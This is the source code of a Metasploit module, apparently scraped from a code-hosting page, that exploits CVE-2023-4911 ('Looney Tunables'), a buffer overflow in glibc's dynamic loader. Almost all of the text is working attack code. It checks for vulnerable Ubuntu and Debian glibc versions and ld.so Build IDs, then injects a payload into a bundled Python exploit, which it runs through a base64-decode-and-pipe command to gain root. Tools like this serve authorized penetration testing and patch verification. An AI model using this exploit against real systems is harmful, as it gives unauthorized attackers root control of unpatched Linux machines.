Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/glibc_tunables_priv_esc.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78# includes: is_root?9include Msf::Post::Linux::Priv10# includes: kernel_release11include Msf::Post::Linux::Kernel12# include: get_sysinfo13include Msf::Post::Linux::System14# includes writable?, upload_file, upload_and_chmodx, exploit_data, cd15include Msf::Post::File16# includes register_files_for_cleanup17include Msf::Exploit::FileDropper18prepend Msf::Exploit::Remote::AutoCheck1920BUILD_IDS = {21'69c048078b6c51fa8744f3d7cff3b0d9369ffd53' => 561,22'3602eac894717d56555552c84fc6b0e4d6a4af72' => 561,23'a99db3715218b641780b04323e4ae5953d68a927' => 561,24'a8daca28288575ffc8c7641d40901b0148958fb1' => 580,25'61ef896a699bb1c2e4e231642b2e1688b2f1a61e' => 560,26'9a9c6aeba5df4178de168e26fe30ddcdab47d374' => 580,27'e7b1e0ff3d359623538f4ae0ac69b3e8db26b674' => 580,28'956d98a11b839e3392fa1b367b1e3fdfc3e662f6' => 32229}30def initialize(info = {})31super(32update_info(33info,34'Name' => 'Glibc Tunables Privilege Escalation CVE-2023-4911 (aka Looney Tunables)',35'Description' => %q{36A buffer overflow exists in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES37environment variable. This issue allows an local attacker to use maliciously crafted GLIBC_TUNABLES when38launching binaries with SUID permission to execute code in the context of the root user.3940This module targets glibc packaged on Ubuntu and Debian. The specific glibc versions this module targets are:4142Ubuntu:432.35-0ubuntu3.4 > 2.35442.37-0ubuntu2.1 > 2.37452.38-1ubuntu6 > 2.384647Debian:482.31-13-deb11u7 > 2.31492.36-9-deb12u3 > 2.365051Fedora 37 and 38 and other distributions of linux also come packaged with versions of glibc vulnerable to CVE-2023-491152however this module does not target them.53},54'Author' => [55'Qualys Threat Research Unit', # discovery56'blasty <[email protected]>', # PoC57'jheysel-r7' # msf module58],59'References' => [60['CVE', '2023-4911'],61['URL', 'https://haxx.in/files/gnu-acme.py'],62['URL', 'https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt'],63['URL', 'https://security-tracker.debian.org/tracker/CVE-2023-4911'],64['URL', 'https://ubuntu.com/security/CVE-2023-4911']65],66'License' => MSF_LICENSE,67'Platform' => [ 'linux', 'unix' ],68'Arch' => [ ARCH_X86, ARCH_X64 ],69'SessionTypes' => [ 'shell', 'meterpreter' ],70'Targets' => [[ 'Auto', {} ]],71'Privileged' => true,72'DefaultTarget' => 0,73'DefaultOptions' => {74'PrependSetresgid' => true,75'PrependSetresuid' => true,76'WfsDelay' => 60077},78'DisclosureDate' => '2023-10-03',79'Notes' => {80'Stability' => [ CRASH_SAFE, ],81'SideEffects' => [ ],82'Reliability' => [ REPEATABLE_SESSION, ]83}84)85)86register_advanced_options([87OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ])88])89end9091def find_python92%w[python python3].select(&method(:command_exists?)).first93rescue StandardError => e94fail_with(Failure::Unknown, "An error occurred finding a version of python to use: #{e.message}")95end9697def check98glibc_version = cmd_exec('ldd --version')&.scan(/ldd\s+\(\w+\s+GLIBC\s+(\S+)\)/)&.flatten&.first99return CheckCode::Unknown('Could not get the version of glibc') unless glibc_version100101sysinfo = get_sysinfo102case sysinfo[:distro]103when 'ubuntu'104# Ubuntu's version looks like: 2.35-0ubuntu3.4. The following massaging is necessary for Rex::Version compatibility105test_version = glibc_version.gsub(/-\d+ubuntu/, '.')106if Rex::Version.new(test_version).between?(Rex::Version.new('2.35'), Rex::Version.new('2.35.3.4')) ||107Rex::Version.new(test_version).between?(Rex::Version.new('2.37'), Rex::Version.new('2.37.2.1')) ||108Rex::Version.new(test_version).between?(Rex::Version.new('2.38'), Rex::Version.new('2.38.6'))109return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable")110end111when 'debian'112# Debian's version looks like: 2.36-9+deb12u1. The following massaging is necessary for Rex::Version compatibility113test_version = glibc_version.gsub(/\+deb/, '.').gsub(/u/, '.').gsub('-', '.')114if Rex::Version.new(test_version).between?(Rex::Version.new('2.31'), Rex::Version.new('2.31.13.11.7')) ||115Rex::Version.new(test_version).between?(Rex::Version.new('2.36'), Rex::Version.new('2.36.9.12.3'))116return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable")117end118else119return CheckCode::Unknown('The module has not been tested against this Linux distribution')120end121CheckCode::Safe("The glibc version (#{glibc_version}) found on the target does not appear to be vulnerable")122end123124def check_ld_so_build_id125# Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so126if command_exists?('file')127check_ld_so_build_id_file128elsif command_exists?('readelf')129check_ld_so_build_id_readelf130elsif command_exists?('perf')131check_ld_so_build_id_perf132else133print_warning('Unable to locate the commands to verify the BuildID for ld.so.')134end135end136137def check_ld_so_build_id_readelf138file_cmd_output = ''139140# This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not141# defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default.142sysinfo = get_sysinfo143case sysinfo[:distro]144when 'ubuntu'145if command_exists?('ldconfig')146file_cmd_output = cmd_exec('readelf -a $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*") | grep "Build ID"')147end148when 'debian'149file_cmd_output = cmd_exec('readelf -a "$(readlink -f "$(command -v ld.so)")"| grep "Build ID"')150else151fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution')152end153154if file_cmd_output =~ /Build ID: (\w+)$/155build_id = Regexp.last_match(1)156if BUILD_IDS.keys.include?(build_id)157print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.")158else159fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")160end161else162print_warning('Unable to verify the BuildID for ld.so via `readelf`, the exploit has a chance of being incompatible with this target.')163end164end165166def check_ld_so_build_id_file167file_cmd_output = ''168169# This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not170# defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default.171sysinfo = get_sysinfo172case sysinfo[:distro]173when 'ubuntu'174if command_exists?('ldconfig')175file_cmd_output = cmd_exec('file $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")')176end177when 'debian'178file_cmd_output = cmd_exec('file "$(readlink -f "$(command -v ld.so)")"')179else180fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution')181end182183if file_cmd_output =~ /BuildID\[.+\]=(\w+),/184build_id = Regexp.last_match(1)185if BUILD_IDS.keys.include?(build_id)186print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.")187else188fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")189end190else191print_warning('Unable to verify the BuildID for ld.so via `file`, the exploit has a chance of being incompatible with this target.')192end193end194195def check_ld_so_build_id_perf196perf_cmd_output = ''197198# This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not199# defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default.200sysinfo = get_sysinfo201case sysinfo[:distro]202when 'ubuntu'203if command_exists?('ldconfig')204perf_cmd_output = cmd_exec('perf buildid-list -i $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")')205end206when 'debian'207perf_cmd_output = cmd_exec('perf buildid-list -i "$(readlink -f "$(command -v ld.so)")"')208else209fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution')210end211212if perf_cmd_output =~ /([0-9a-f]+)/213build_id = Regexp.last_match(1)214if BUILD_IDS.keys.include?(build_id)215print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.")216else217fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")218end219else220print_warning('Unable to verify the BuildID for ld.so via `perf`, the exploit has a chance of being incompatible with this target.')221end222end223224def exploit225fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root?226227python_binary = find_python228fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary229vprint_status("Using '#{python_binary}' to run the exploit")230231check_ld_so_build_id232233shell_code = payload.encoded.unpack('H*').first234235exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py')236exploit_data = exploit_data.gsub('METASPLOIT_SHELL_CODE', shell_code)237exploit_data = exploit_data.gsub('METASPLOIT_BUILD_IDS', BUILD_IDS.to_s.gsub('=>', ':'))238239vprint_status('All good let\'s go.')240# If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully241output = cmd_exec("echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary}")242if output.blank?243print_good('The exploit is running. Please be patient. Receiving a session could take up to 10 minutes.')244else245print_line(output)246end247end248end249250251